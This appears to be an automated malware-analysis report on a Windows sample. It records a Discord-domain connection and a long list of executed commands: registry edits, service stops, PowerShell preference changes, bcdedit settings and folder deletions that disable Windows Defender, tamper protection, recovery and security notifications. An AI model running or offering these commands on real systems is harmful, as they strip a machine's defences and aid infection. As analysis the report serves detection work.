Technical Information
Malicious functions
To complicate detection of its presence in the operating system,
blocks execution of the following system utilities:
- Windows Defender
blocks the following features:
- System Restore (SR)
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableRealtimeMonitoring $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableIOAVProtection $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -SubmitSamplesConsent 2"
Launches a large number of processes
Modifies file system
Creates the following files
- nul
Network activity
Connects to
- 'di##ord.com':443
TCP
Other
- 'di##ord.com':443
UDP
- DNS ASK di##ord.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableIOAVProtection /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpynetReporting /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableUpdate /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableUpdate /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableAutoUpdate /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Signature Updates" /v DisableAutoUpdate /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtectionEnabled /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtectionEnabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v DisableTamperProtection /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v DisableTamperProtection /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Security Intelligence" /v DisableTamperProtection /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Defender\Security Intelligence" /v DisableTamperProtection /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c sc stop WinDefend 2>nul
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\cmd.exe' /c sc stop SecurityHealthService 2>nul
- '<SYSTEM32>\sc.exe' stop SecurityHealthService
- '<SYSTEM32>\cmd.exe' /c sc stop WdNisSvc 2>nul
- '<SYSTEM32>\sc.exe' stop WdNisSvc
- '<SYSTEM32>\cmd.exe' /c sc stop Sense 2>nul
- '<SYSTEM32>\sc.exe' stop Sense
- '<SYSTEM32>\cmd.exe' /c sc stop WdBoot 2>nul
- '<SYSTEM32>\sc.exe' stop WdBoot
- '<SYSTEM32>\cmd.exe' /c sc stop WdFilter 2>nul
- '<SYSTEM32>\sc.exe' stop WdFilter
- '<SYSTEM32>\cmd.exe' /c sc stop WdNisDrv 2>nul
- '<SYSTEM32>\sc.exe' stop WdNisDrv
- '<SYSTEM32>\cmd.exe' /c sc stop MpKsl 2>nul
- '<SYSTEM32>\sc.exe' stop MpKsl
- '<SYSTEM32>\cmd.exe' /c sc stop MsMpSvc 2>nul
- '<SYSTEM32>\sc.exe' stop MsMpSvc
- '<SYSTEM32>\cmd.exe' /c sc stop SgrmBroker 2>nul
- '<SYSTEM32>\sc.exe' stop SgrmBroker
- '<SYSTEM32>\cmd.exe' /c sc stop Sgrm 2>nul
- '<SYSTEM32>\sc.exe' stop Sgrm
- '<SYSTEM32>\cmd.exe' /c sc config WinDefend start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config WinDefend start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config SecurityHealthService start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config SecurityHealthService start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config WdNisSvc start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config WdNisSvc start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config Sense start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config Sense start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config WdBoot start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config WdBoot start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config WdFilter start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config WdFilter start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config WdNisDrv start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config WdNisDrv start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config MpKsl start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config MpKsl start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config MsMpSvc start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config MsMpSvc start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config SgrmBroker start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config SgrmBroker start= disabled
- '<SYSTEM32>\cmd.exe' /c sc config Sgrm start= disabled 2>nul
- '<SYSTEM32>\sc.exe' config Sgrm start= disabled
- '<SYSTEM32>\cmd.exe' /c takeown /f "%ALLUSERSPROFILE%\Microsoft\Windows Defender" /r /d y 2>nul
- '<SYSTEM32>\takeown.exe' /f "%ALLUSERSPROFILE%\Microsoft\Windows Defender" /r /d y
- '<SYSTEM32>\cmd.exe' /c icacls "%ALLUSERSPROFILE%\Microsoft\Windows Defender" /grant SYSTEM:F /t 2>nul
- '<SYSTEM32>\icacls.exe' "%ALLUSERSPROFILE%\Microsoft\Windows Defender" /grant SYSTEM:F /t
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Scans" 2>nul
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Quarantine" 2>nul
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\LocalCopy" 2>nul
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Temp" 2>nul
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Support" 2>nul
- '<SYSTEM32>\cmd.exe' /c rd /s /q "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Definition Updates" 2>nul
- '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /disable 2>nul
- '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /disable
- '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /disable 2>nul
- '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /disable
- '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /disable 2>nul
- '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /disable
- '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Verification" /disable 2>nul
- '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Verification" /disable
- '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Idle Task" /disable 2>nul
- '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Idle Task" /disable
- '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scan" /disable 2>nul
- '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Scan" /disable
- '<SYSTEM32>\cmd.exe' /c schtasks /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Signature Update" /disable 2>nul
- '<SYSTEM32>\schtasks.exe' /change /tn "Microsoft\Windows\Windows Defender\Windows Defender Signature Update" /disable
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /f 2>nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\SecurityHealthService" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /f 2>nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDefend" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /f 2>nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WdNisSvc" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /f 2>nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\Sense" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /f 2>nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WdBoot" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /f 2>nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WdFilter" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /f 2>nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SYSTEM\CurrentControlSet\Services\WdNisDrv" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SOFTWARE\Microsoft\Windows Defender" /f 2>nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Microsoft\Windows Defender" /f
- '<SYSTEM32>\cmd.exe' /c reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f 2>nul
- '<SYSTEM32>\reg.exe' delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring" /v DisableMonitoring /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring" /v DisableMonitoring /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring\Windows Defender" /v DisableMonitoring /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring\Windows Defender" /v DisableMonitoring /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisableRealtimeMonitoring $true" 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisableBehaviorMonitoring $true" 2>nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableBehaviorMonitoring $true"
- '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisableBlockAtFirstSeen $true" 2>nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisableBlockAtFirstSeen $true"
- '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisableIOAVProtection $true" 2>nul
- '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -DisablePrivacyMode $true" 2>nul
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -command "Set-MpPreference -DisablePrivacyMode $true"
- '<SYSTEM32>\cmd.exe' /c powershell -command "Set-MpPreference -SubmitSamplesConsent 2" 2>nul
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} nx AlwaysOff 2>nul
- '<SYSTEM32>\bcdedit.exe' /set {current} nx AlwaysOff
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} bootstatuspolicy ignoreallfailures 2>nul
- '<SYSTEM32>\bcdedit.exe' /set {current} bootstatuspolicy ignoreallfailures
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} recoveryenabled No 2>nul
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} nointegritychecks Yes 2>nul
- '<SYSTEM32>\bcdedit.exe' /set {current} nointegritychecks Yes
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} testsigning Yes 2>nul
- '<SYSTEM32>\bcdedit.exe' /set {current} testsigning Yes
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {current} disableelamdrivers Yes 2>nul
- '<SYSTEM32>\bcdedit.exe' /set {current} disableelamdrivers Yes
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} nx AlwaysOff 2>nul
- '<SYSTEM32>\bcdedit.exe' /set {default} nx AlwaysOff
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} recoveryenabled No 2>nul
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} nointegritychecks Yes 2>nul
- '<SYSTEM32>\bcdedit.exe' /set {default} nointegritychecks Yes
- '<SYSTEM32>\cmd.exe' /c bcdedit /set {default} testsigning Yes 2>nul
- '<SYSTEM32>\bcdedit.exe' /set {default} testsigning Yes
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_TOASTS_ENABLED /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings" /v NOC_GLOBAL_SETTING_ALLOW_CRITICAL_TOASTS /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v DontShowInNotificationCenter /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v DontShowInNotificationCenter /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v Enabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v DontShowInNotificationCenter /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications\Settings\Windows.SystemToast.SecurityAndMaintenance" /v DontShowInNotificationCenter /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDefenderWarning /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDefenderWarning /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDefenderWarning /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoDefenderWarning /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring" /v DisableNotifications /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Security Center\Monitoring" /v DisableNotifications /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v EnableBalloonTips /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSyncProviderNotifications /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSyncProviderNotifications /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSyncProviderNotifications /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced" /v ShowSyncProviderNotifications /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications" /v ToastEnabled /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\Notifications" /v ToastEnabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications" /v ToastEnabled /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Notifications" /v ToastEnabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKCU\Software\Microsoft\Windows\CurrentVersion\PushNotifications" /v ToastEnabled /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableNotifications /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableEnhancedNotifications /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableCriticalNotifications /t REG_DWORD /d 1 /f 2>nul
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Security Center\Notifications" /v DisableCriticalNotifications /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\ActionCenter" /v DisableNotifications /t REG_DWORD /d 1 /f 2>nul
